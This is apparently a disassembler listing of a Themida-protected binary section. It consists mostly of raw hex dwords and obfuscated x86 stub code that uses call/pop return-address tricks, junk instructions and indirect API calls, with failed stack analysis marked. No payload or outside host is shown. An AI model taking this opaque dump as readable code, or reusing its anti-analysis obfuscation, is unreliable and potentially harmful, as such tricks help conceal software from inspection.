		dd 8907FA21h, 0FA021185h, 2BD0FF07h, 0FA317DBDh, 1D858907h
		dd 8B07FA31h, 0FA258195h, 6585C607h, 4507FA06h,	1115958Bh
		dd 0B96607FAh, 6968B813h, 6A8E7269h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0A048C350h
		dd 62F0ABB8h, 8B5EBA8Ch, 0A5B5FFCBh, 0F07FA08h,	118Bh
		dd 6E800h, 21160000h, 0B70A9B24h, 59DF8166h, 858D5FD1h
		dd 7FA3AE2h, 0AE9BD8Bh,	0D0FF07FAh, 68E0Fh, 958B0000h
		dd 7FA10B1h, 0EBD8589h,	9D8907FAh, 7FA2955h, 66585C6h
		dd 8B4407FAh, 0FA10E5BDh, 0E04FB907h, 64685AF4h, 66B8F2ECh
		dd 0FFD297B9h, 0FA08A5B5h, 0A58D8B07h, 8D07FA1Eh, 0FA3AE285h
		dd 0D58D3307h, 0FF07FA10h, 57006AD0h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 7A775676h
		dd 2E618589h, 0BD3107FAh, 7FA202Dh, 66585C6h, 894307FAh
		dd 0FA2FA19Dh, 0F606007h, 81h, 0CE900h,	0DA180000h, 6A72ACA6h
		dd 3AD7E3C3h, 8161FA39h, 548A58E1h, 0A7686149h,	8BC0764Ah
		dd 0FA241D95h, 0A5B5FF07h, 6A07FA08h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 3E2DC357h
		dd 79CF6D75h, 0D2EF4C9Eh, 29D9BD8Bh, 858D07FAh,	7FA3AE2h
		dd 0FFA3C680h, 8589F5D0h, 7FA21ADh, 6880F60h, 3000000h
		dd 0FA2C9D8Dh, 0BD806107h, 7FD2F73h, 7C840F00h,	51000000h
		dd 235D958Bh, 8D5907FAh, 0FD2F5585h, 6D958B07h,	5007FA1Dh
		dd 6AB3D980h, 0FEBF0F01h, 0E580006Ah, 89006A59h, 0FA05718Dh
		dd 5995FF07h, 8907FA22h, 0FA1E85BDh, 6D858907h,	6607FA0Dh
		dd 0B509CF8Bh, 7FA078Dh, 880FFF6Ah, 0
; ---------------------------------------------------------------------------
		mov	edi, 418DF832h
		push	dword ptr [ebp+7FA0D6Dh]
		mov	dl, 8Eh
		call	dword ptr [ebp+7FA2875h]
		push	0
		push	eax
		call	sub_5B727E
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B727E	proc near		; CODE XREF: Themida_:005B7276p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5B727E	endp

; ---------------------------------------------------------------------------
		xchg	ecx, [ebx+55006AC0h]
		call	sub_5B729C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B729C	proc near		; CODE XREF: Themida_:005B7294p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5B729C	endp

; ---------------------------------------------------------------------------
		dd 64C873Eh, 8D8B807Ch,	7FA1451h, 2ACDBD83h, 750007FAh
		dd 99BD8309h, 7FA18h, 53501974h, 0D1B8C08Bh, 89000007h
		dd 0FA20C985h, 249D8D07h, 0FF07FCE2h, 83585BD3h, 0FA1899BDh
		dd 17740007h, 0D1B85350h, 89000007h, 0FA20C985h, 139D8D07h
		dd 0FF07FCDFh, 52585BD3h, 95895AF8h, 7FA1C05h, 6AC08Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 44E342C3h, 0F58A1E91h, 2BD8529h, 85C607FAh, 7FA0665h
		dd 0B1BD8947h, 6807FA0Eh, 93C8F7C1h, 2195958Bh,	0B5FF07FAh
		dd 7FA08A5h, 17A1BD8Bh,	858D07FAh, 7FA3AE2h, 8B60D0FFh
		dd 0FA25D18Dh, 957BBA07h, 50610B74h, 11810Fh, 66600000h
		dd 7E9D18Bh, 39000000h,	2B7DFB62h, 8D610671h, 0FD339685h
		dd 4860F07h, 66000000h,	99CDCBAh, 0FA29BDBDh, 9400C707h
		dd 66000000h, 58A576B9h, 0B589CA8Bh, 7FA351Dh, 3396B58Dh
		dd 950907FDh, 7FA23B9h,	41BD8B56h, 0FF07FA2Fh, 55006AD0h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 26E68006h, 3396858Dh, 0B55207FDh, 9D895AC4h,	7FA0CF1h
		dd 6047883h, 30850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 642C61C3h, 0C7A8D5DCh
		dd 0FD342A85h, 107h, 2912B900h,	0BD8337FEh, 7FA2579h, 79850F00h
		dd 0E9000000h, 7, 0DD6C004Ah, 83626A8Bh, 0FD342ABDh, 850F0007h
		dd 60h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h
		dd 87C35242h, 5EF87C1Eh, 1885BD83h, 0F0007FAh, 3384h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0BD8B3324h, 7FA2801h, 26F185C7h, 7FAh, 8D8B0000h, 7FA0121h
		dd 0F6DB8C66h, 840F04C3h, 5C2h,	6870Fh,	958B0000h, 7FA1659h
		dd 33ED85C7h, 7FAh, 0CE90000h, 44000000h, 2EF02795h, 94E31258h
		dd 809A77F6h, 0FD2F80BDh, 850F0007h, 6,	1B18D8Bh, 85C607FAh
		dd 7FA0665h, 0C99D2947h, 6807FA07h, 0E3E45B86h,	1BBD9589h
		dd 0B5FF07FAh, 7FA08A5h, 7CC18166h, 0E2858DAFh,	0E907FA3Ah
		dd 6, 4CE2F3B6h, 0D0FF8F93h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0FC35141h, 152F0BCFh, 0C19834Fh
		dd 758D8949h, 6607FA06h, 4C5BF281h, 12E8h, 0D8ADA500h
		dd 0D21B6AFAh, 0C2F2978Ah, 936FEAA1h, 0FB4CB20h, 68Ah
		dd 0F0F78100h, 5A5EDC2Dh, 10468h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0B1E0F448h
		dd 0AD9D8DD6h, 6A07FA2Fh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 70BCC351h, 6A53BBh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 950116C3h, 7FA184Dh,	9B1003B9h, 6AD0FF7Eh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 9E83C350h, 36ADED6h,	0FA0D5D95h, 0AD858D07h,	6007FA2Fh
		dd 998D29F5h, 6107FA00h, 6DE98150h, 81074BF1h, 0F30C29C9h
		dd 32858D61h, 0F07FD2Fh, 281h, 50BEB200h, 12CA8166h, 858D8B36h
		dd 8D07FA08h, 0FD260585h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0CFBF0F0Eh
		dd 0DE98166h, 0B70F5071h, 0C595FFD6h, 0F07FA0Dh, 0B589F9B7h
		dd 7FA0BC9h, 8B0CC483h,	0FA0089BDh, 41958B07h, 6A07FA16h
		dd 806800h, 36A0000h, 6A006Ah, 68h, 5858D80h, 5007FD26h
		dd 311D95FFh, 858907FAh, 7FD2F15h, 66585C6h, 684707FAh
		dd 0C7B15E87h, 8A5B5FFh, 858D07FAh, 7FA3AE2h, 6AD0FFh
		dd 2F15B5FFh, 0D0FF07FDh, 3DFCFA8Bh, 37D0h, 54830Fh, 0B70F0000h
		dd 15B5FFCFh, 5207FD2Fh, 5AD6BF0Fh, 21AD95FFh, 6A07FAh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0C816B6C3h, 0E181AC77h, 35F6EB74h, 113E9h, 0F9BF0F00h
		dd 0C880Fh, 8C0F0000h, 6, 2789958Bh, 0B5FF07FAh, 7FD2F15h
		dd 10E9h, 4CD0500h, 0EA781AB0h,	75A2E360h, 92C5BCB9h, 0AD95FF3Dh
		dd 6607FA21h, 0E98BD981h, 8B0F006Ah, 6,	294D8D29h, 6A07FAh
		dd 2C41BD29h, 6A07FAh, 0B458D0Bh, 0B70F07FAh, 0BF006ACEh
		dd 4CA38B3Dh, 8529006Ah, 7FA2305h, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 3E133BC3h
		dd 2742BE83h, 8531A3A7h, 7FA34C1h, 2F19858Dh, 6A07FDh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0E8C977C3h, 6, 0F239826Bh, 89590A64h, 0FA31DDB5h, 8D8B5007h
		dd 7FA0B15h, 311D95FFh,	6A07FAh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 8344C5C3h, 0D0956F7Ch
		dd 8D896951h, 7FA234Dh,	0FFFF883h, 17585h, 81665700h, 5F1DE2E9h
		dd 0E5A0858Dh, 0E28007FCh, 81D0FF40h, 5249ADAh,	89006A0Ch
		dd 0FA242DBDh, 0F006A07h, 1485h, 0FE900h, 60C50000h, 0BB2858F4h
		dd 35467DAh, 0A54E331Fh, 66006A40h, 6A36BBB9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 0E3A3A8Eh, 3EC1A277h, 0DE9006Ah, 1F000000h, 0EDF0BCAEh
		dd 92B5920Dh, 9725910Dh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 8D892DC3h, 7FA0841h
		dd 69CBBF66h, 2F19858Dh, 6A07FDh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 0E92F29C3h, 7, 55776713h
		dd 0FCB9080h, 0F550CABFh, 311D95FFh, 2BBA07FAh,	8075B59Bh
		dd 0F8835AEAh, 87850FFFh, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 2638C356h
		dd 6E71A32Ch, 0FC3159E7h, 2921B58Dh, 8D8B07FDh,	7FA0CA5h
		dd 0D38A858Dh, 6A07FCh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0D3CFC7C3h, 3A0AE4B8h, 816612FEh
		dd 0FF4C8BC9h, 85BD8BD0h, 6A07FA07h, 0C5B96600h, 5995010Eh
		dd 0FF07FA2Ah, 0FA0EBD95h, 6E95107h, 9D000000h,	5410A75h
		dd 8589590Bh, 7FD2F15h,	0FE9h, 0B8A28C00h, 9553A13Dh, 4834821Ch
		dd 76BBB462h, 0D799D09h, 6A07FAh, 3D18B66h, 0FA14898Dh
		dd 0D858D07h, 8B07FD2Fh, 0FA269DBDh, 860F5007h,	6, 2915BD8Bh
		dd 46A07FAh, 0C4CDC781h, 858D1754h, 7FA1505h, 8A0Fh, 0E9500000h
		dd 10h,	0C5923D1Bh, 50D648E8h, 0EF9E5AF9h, 293C96B4h, 6A006Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0BF0FB4C3h, 89006AC9h, 0FA201995h, 8B016A07h, 0FA0B29BDh
		dd 15B5FF07h, 0E907FD2Fh, 0Fh, 0DF5D5B74h, 944FD093h, 38041542h
		dd 0FF8C79CDh, 0FA2E6195h, 1D84E907h, 89530000h, 0FA31B195h
		dd 0C08B5A07h, 1491BD89h, 0BD8307FAh, 7FA2ACDh,	83097500h
		dd 0FA1899BDh, 19740007h, 0C08B5350h, 7D2B8h, 0C9858900h
		dd 8D07FA20h
		dd 0FCE2249Dh, 5BD3FF07h, 99BD8358h, 7FA18h, 53501774h
		dd 7D2B8h, 0C9858900h, 8D07FA20h, 0FCDF139Dh, 5BD3FF07h
		dd 57006A58h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0F195896Eh, 8B07FA00h, 56006AC0h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 0EC5763F9h, 8F43DDB4h, 85C7A066h, 7FA33EDh, 1, 68FEB70Fh
		dd 0CEE4E7B8h, 0AF5B5FFh, 858D07FAh, 7FA3AE2h, 8589D0FFh
		dd 7FA081Dh, 3171858Dh,	8D5007FDh, 0FD342E85h, 1685007h
		dd 0FF800000h, 0FA081D95h, 75C00B07h, 0D585C70Ah, 107FA00h
		dd 68000000h, 0C005DBD4h, 0AF5B5FFh, 858D07FAh,	7FA3AE2h
		dd 8589D0FFh, 7FA1F0Dh,	23BE858Dh, 0FF5007FDh, 0FA08A5B5h
		dd 3595FF07h, 0B07FA28h, 8B0B74C0h, 71858DD8h, 5007FD33h
		dd 858DD3FFh, 7FD3371h,	9388366h, 85C70A75h, 7FA1CC5h
		dd 1, 8C995FFh,	0FF2507FAh, 83000000h, 0A7305F8h, 0D9585C7h
		dd 107FAh, 958B0000h, 7FA24EDh,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 0EEC35646h,	0BF30F16Bh, 99CF0D58h
		dd 14E922h, 0DB530000h,	0F2EE04D3h, 6D9EA873h, 3E8A83EAh
		dd 0E4C757B4h, 8B0FB97Bh, 6, 305B589h, 0BD8007FAh, 7FD2F80h
		dd 23840F00h, 0E9000000h, 7, 0D7D2B64Eh, 0E90C7F73h, 5
		dd 29B928D6h, 2ABD8371h, 7FD34h, 14840Fh, 0A3E90000h, 0E900001Bh
		dd 0Ah,	0C389F46Fh, 14FAFAC8h, 0BD83B7BDh, 7FA1CC5h, 10850F00h
		dd 0E9000001h, 10h, 0CB39ED64h,	39444B1Fh, 6D9AC61Ch, 0E04732Eh
		dd 2DE5BD8Bh, 858D07FAh, 7FD2F4Ah, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 0BCC35242h,	666AAEE5h, 37E0C781h
		dd 50D38B66h, 0F58D0B50h, 5907FA18h, 8589016Ah,	7FA34D9h
		dd 4BEBF66h, 6AFC006Ah,	50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 51F65667h, 18D0F57h, 0FC000000h
		dd 225995FFh, 6A07FAh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 0BB1366C3h, 8589C8C7h, 7FD2F74h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 28C35343h
		dd 9E2399BEh, 43737B76h, 2EABAC5h, 0FF6A3F89h, 0FE9h, 0DFF6AC00h
		dd 0B1F19AF2h, 0EB139675h, 0C65A11EAh, 2F74B5FFh, 0E78107FDh
		dd 7FD2ACBFh, 287595FFh, 840F07FAh, 3, 8DCBB70Fh, 0FD238585h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 0FDEE29ACh, 57502A32h, 9195CF81h, 0FF5F067Bh
		dd 0FA281995h, 6810F07h, 89000000h, 0FA2F4185h,	0F858907h
		dd 8D07FD24h, 0FD239285h, 7E907h, 33BE0000h, 3FDE65BFh
		dd 13E950E8h, 68000000h, 0BB63BDA8h, 0BAD96F7h,	0EEF97C55h
		dd 0A3132E4Dh, 0B5FFD54Eh, 7FD240Fh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 89C35545h, 3E8760Dh, 95FFECD3h
		dd 7FA2835h, 17C98589h,	18BA07FAh, 8D64FB56h, 0FD240085h
		dd 47B96607h, 6A50F0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 686069C3h, 240FB5FFh, 858907FDh
		dd 7FA3165h, 283595FFh,	8D8907FAh, 7FA1491h, 24238589h
		dd 6A07FDh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 102AAEC3h, 8172A082h, 92CB9FE2h, 0E020BF06h
		dd 858D30B0h, 7FD23DFh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 6CC35242h, 0A5E94ABh,	2BC7A47Ch, 35950950h
		dd 0FF07FA14h, 0FD240FB5h, 28A0F07h, 0B2000000h, 3595FF44h
		dd 5007FA28h, 5F2BDD80h, 241B8589h, 55B507FDh, 23D2858Dh
		dd 0BD8B07FDh, 7FA0E8Dh, 0F7816650h, 0B5FF8D71h, 7FD240Fh
		dd 6830Fh, 8D8B0000h, 7FA01BDh,	0B81B529h, 95FF07FAh, 7FA2835h
		dd 14E8h, 67713A00h, 45D2EC75h,	8A6FE66h, 0DA5603BDh, 8FCFD3B4h
		dd 5E832h, 23570000h, 0E9198F7Ch, 14h, 36045B5Dh, 2BA051A9h
		dd 0AA82826Ah, 6FE0DD6Bh, 3AE4A8A9h, 8589595Ah,	7FD241Fh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 5C35545h
		dd 8B6F6D15h, 0FA0E99BDh, 0FE907h, 770E0000h, 0A13EC1A2h
		dd 604A628Eh, 0D3208B03h, 0ED858DBBh, 6A07FD23h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0A49EC352h, 66E9BA49h, 0A0BD7F6Ah, 0AF1958Bh, 816607FAh
		dd 50431DC2h, 78D950Bh,	0B5FF07FAh, 7FD240Fh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0F3C35747h, 8A3B3FA7h
		dd 38A0FD3h, 66000000h,	95FFFB8Bh, 7FA2835h, 8C0F6060h
		dd 0
; ---------------------------------------------------------------------------
		mov	eax, [ebp+7FA24E5h]
		popa
		xor	[ebp+7FA2915h],	eax
		popa
		mov	[ebp+7FA2481h],	eax
		mov	[ebp+7FA2C39h],	eax
		lea	eax, [ebp+7FD23A1h]
		or	dx, 5D0Dh
		push	eax
		push	0
		push	eax
		call	sub_5B8051
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8051	proc near		; CODE XREF: Themida_:005B8049p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5B8051	endp

; ---------------------------------------------------------------------------
		sti
		jl	short loc_5B808B
		mov	cl, 0BAh
		cmp	al, 20h
		popa
		dec	edi
		push	dword ptr [ebp+7FD240Fh]
		add	cx, 1B0h
		call	dword ptr [ebp+7FA2835h]
		call	sub_5B8088
		clc
		setz	byte ptr [edx+316DAFFCh]

; =============== S U B	R O U T	I N E =======================================



sub_5B8088	proc near		; CODE XREF: Themida_:005B807Bp
		movsx	edx, bx


loc_5B808B:				; CODE XREF: Themida_:005B8062j
		pop	ecx
		mov	[ebp+7FD2413h],	eax
		mov	[ebp+7FA0755h],	edx
		lea	eax, [ebp+7FD23B0h]
		xor	[ebp+7FA238Dh],	ecx
		push	eax
		mov	ecx, [ebp+7FA10A1h]
		push	dword ptr [ebp+7FD240Fh]
		call	dword ptr [ebp+7FA2835h]
		and	edx, [ebp+7FA16D5h]
		mov	[ebp+7FD2417h],	eax
		mov	ecx, 159D1BE6h
		push	104h
		lea	eax, [ebp+7FD24A7h]
		push	0
		push	edi
		call	sub_5B80DE
		and	[edi-3Dh], bl
sub_5B8088	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5B80DE	proc near		; CODE XREF: sub_5B8088+4Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5B80DE	endp

; ---------------------------------------------------------------------------
		sti
		mov	ecx, 5136FD0Ah
		and	edx, [ebp+7FA29DDh]
		pop	edi
		push	eax
		mov	edi, [ebp+7FA2669h]
		mov	dx, cx
		lea	eax, [ebp+7FD25ABh]
		jns	loc_5B8118
		jnb	loc_5B8118
		clc


loc_5B8118:				; CODE XREF: Themida_:005B810Bj
					; Themida_:005B8111j
		adc	di, 7CE1h
		push	eax
		push	0
		push	ebx
		call	sub_5B8129
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8129	proc near		; CODE XREF: Themida_:005B8121p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5B8129	endp

; ---------------------------------------------------------------------------
		db 0E9h, 8Bh, 6
; ---------------------------------------------------------------------------
		icebp
		inc	ebp
		retn
; ---------------------------------------------------------------------------
		movzx	edi, di
		call	dword ptr [ebp+7FA18C9h]
		mov	edx, ebx
		jmp	loc_5B8159
; ---------------------------------------------------------------------------
		xor	al, 0E5h
		xchg	eax, esi
		inc	ebx
		db	3Eh
		xor	edi, [edi]
		push	edi
		test	al, 72h


loc_5B8159:				; CODE XREF: Themida_:005B814Aj
		test	eax, eax
		jnz	loc_5B817D
		call	near ptr loc_5B816B+5
		mov	ecx, 0CB5DAFACh


loc_5B816B:				; CODE XREF: Themida_:005B8161p
		sal	dword ptr [edx+ebp*2-7274254Bh], cl
		or	[esi], ecx
		cli
		pop	es
		pop	ecx
		add	[ebp+7FA0BEDh],	ebx


loc_5B817D:				; CODE XREF: Themida_:005B815Bj
		cmp	byte ptr [ebp+7FD2F80h], 0
		jnz	loc_5B81C2
		push	0
		push	eax
		call	sub_5B8195
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8195	proc near		; CODE XREF: Themida_:005B818Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5B8195	endp

; ---------------------------------------------------------------------------
		db 5Eh,	0D8h, 95h
; ---------------------------------------------------------------------------
		xchg	eax, ebx
		db	26h
		add	eax, 0F9D6BEAh
		add	dword ptr ds:66000000h,	4EC5C981h
		jmp	loc_5B97FE
; ---------------------------------------------------------------------------
		mov	cx, 0E110h


loc_5B81C2:				; CODE XREF: Themida_:005B8184j
		cmp	dword ptr [ebp+7FA1CC5h], 0
		jnz	loc_5B81EA
		jmp	loc_5B81DA
; ---------------------------------------------------------------------------
		dd 655AB646h
		db 4Bh,	6Ah
; ---------------------------------------------------------------------------


loc_5B81DA:				; CODE XREF: Themida_:005B81CFj
		cmp	dword ptr [ebp+7FD342Ah], 0
		jz	loc_5B8227
		movzx	edi, ax


loc_5B81EA:				; CODE XREF: Themida_:005B81C9j
		lea	eax, [ebp+7FD2444h]
		or	[ebp+7FA3455h],	ebx
		jmp	loc_5B97FE
; ---------------------------------------------------------------------------
		jmp	loc_5B822E
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5B820B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B820B	proc near		; CODE XREF: Themida_:005B8203p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5B820B	endp

; ---------------------------------------------------------------------------
		sub	cl, al
		fisttp	dword ptr [ecx-5F9964Bh]
		pop	es
		mov	di, bx


loc_5B8227:				; CODE XREF: Themida_:005B81E1j
		lea	eax, [ebp+7FD242Fh]
		clc


loc_5B822E:				; CODE XREF: Themida_:005B81FBj
		push	eax
		movsx	edx, bx
		mov	cx, ax
		lea	eax, [ebp+7FD24A7h]
		clc
		movzx	ecx, di
		push	eax
		mov	edi, 0DBC94F6h
		cmp	dword ptr [ebp+7FA1CC5h], 0
		jz	loc_5B8296
		jnp	loc_5B825E
		sub	[ebp+7FA1F79h],	esi


loc_5B825E:				; CODE XREF: Themida_:005B8252j
		jp	loc_5B8266
		mov	edx, ebx


loc_5B8266:				; CODE XREF: Themida_:loc_5B825Ej
		lea	eax, [ebp+7FD25CDh]
		mov	edi, [ebp+7FA100Dh]
		jmp	loc_5B82CB
; ---------------------------------------------------------------------------
		jmp	loc_5B8284
; ---------------------------------------------------------------------------
		dd 0F994FC41h, 0CFACD916h
; ---------------------------------------------------------------------------


loc_5B8284:				; CODE XREF: Themida_:005B8277j
		jmp	loc_5B8296
; ---------------------------------------------------------------------------
		align 2
		dw 90F3h
		dd 0C100D504h, 0D51E7EECh
; ---------------------------------------------------------------------------
		and	bl, al


loc_5B8296:				; CODE XREF: Themida_:005B824Cj
					; Themida_:loc_5B8284j
		lea	eax, [ebp+7FD25B6h]
		push	0
		push	ebx
		call	sub_5B82A7
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B82A7	proc near		; CODE XREF: Themida_:005B829Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5B82A7	endp

; ---------------------------------------------------------------------------
		mov	edx, 51DB39DDh
		retn	0EAFEh
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+7FA2185h]
		xor	[ebp+7FA0091h],	edi


loc_5B82CB:				; CODE XREF: Themida_:005B8272j
		push	eax
		mov	[ebp+7FA2F41h],	edx
		lea	eax, [ebp+7FD2605h]
		cld
		push	eax
		push	0
		push	edx
		call	sub_5B82E5
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B82E5	proc near		; CODE XREF: Themida_:005B82DDp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5B82E5	endp

; ---------------------------------------------------------------------------
		db 0E6h, 34h, 4Ch
		dd 0FFF13FBDh, 0FA0DC595h, 6E907h, 0BB780000h, 891BD70Ah
		dd 5FD38A53h, 8B10C483h, 60C08BCBh, 2249858Bh, 0B52907FAh
		dd 7FA0BC9h, 0CDBD8361h, 7FA2Ah, 0BD830975h, 7FA1899h
		dd 50197400h, 0B8C08B53h, 7D3h,	20C98589h, 9D8D07FAh, 7FCE224h
		dd 585BD3FFh, 1899BD83h, 740007FAh, 0B8535017h,	7D3h, 20C98589h
		dd 9D8D07FAh, 7FCDF13h,	585BD3FFh, 0EE851F5h, 0C4000000h
		dd 11166131h, 219D75EEh, 0B95670E1h, 0CEB70F1Fh, 0C08B5F59h
		dd 0BD81CE8Ah, 7FD242Fh, 6165726Fh, 0BB840Fh, 858D0000h
		dd 7FD24A7h, 0E4858D50h, 5007FD25h, 2605858Dh, 0FF5007FDh
		dd 0FA0DC595h, 0CC48307h, 66585C6h, 684407FAh, 96A3184Fh
		dd 8A5B5FFh, 858D07FAh,	7FA3AE2h, 0D88BD0FFh, 2605858Dh
		dd 0FF5007FDh, 2F858DD3h, 5007FD24h, 24A7858Dh,	835007FDh
		dd 0FA1CC5BDh, 8740007h, 25CD858Dh, 6EB07FDh, 25B6858Dh
		dd 8D5007FDh, 0FD260585h, 95FF5007h, 7FA0DC5h, 6A10C483h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 676FC350h, 6A2490D3h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 8B18C350h
		dd 0FA08D18Dh, 0C995FF07h, 8107FA08h, 3DF39AE9h, 0FF2567h
		dd 83F80000h, 830F05F8h, 52h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 5BC35747h, 2F49B3BAh, 660F0AA3h
		dd 85C7D68Bh, 7FA0D95h,	1, 2FE9BF66h, 2463858Dh, 8D0B07FDh
		dd 7FA2A9Dh, 8BE9h, 7880F00h, 0F000000h, 180h, 0BD83FC00h
		dd 7FA1CC5h, 49840F00h,	8B000000h, 0FA18618Dh, 8E858D07h
		dd 0F07FD24h, 0E87h, 85036000h,	7FA0D61h, 840Fh, 0E9610000h
		dd 4Ch,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h
		dd 0BAC35343h, 365EE80Bh, 0F8B70F93h, 2470858Dh, 6A07FDh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0EB331C3h, 391589CEh, 24A38589h, 958907FDh, 7FA2215h
		dd 1CC5BD83h, 0F0007FAh, 1585h,	0BF0F5600h, 0BD835AFBh
		dd 7FD342Ah, 0E840F00h,	80000000h, 87E99FC6h, 2B000012h
		dd 0FA316D95h, 4CDE907h, 0BD2B0000h, 7FA238Dh, 6AC08Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 601CD3C3h, 8387CAE5h, 0FA2ACDBDh, 9750007h, 1899BD83h
		dd 740007FAh, 8B535019h, 7D4B8C0h, 85890000h, 7FA20C9h
		dd 0E2249D8Dh, 0D3FF07FCh, 0BD83585Bh, 7FA1899h, 50177400h
		dd 7D4B853h, 85890000h,	7FA20C9h, 0DF139D8Dh, 0D3FF07FCh
		dd 8D89585Bh, 7FA0829h,	5E9h, 5C740500h, 0C08B655Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0D7C35343h, 0DCA9CBE3h
		dd 0B30ACF28h, 12E8h, 9A23B500h, 37A17998h, 3A43B276h
		dd 2E21409Dh, 0F3E517Fh, 685FD3B7h, 0F003Fh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B5C35646h, 66006AD9h
		dd 6A7D7EB9h, 12E800h, 490A0000h, 0B5179A90h, 6390A885h
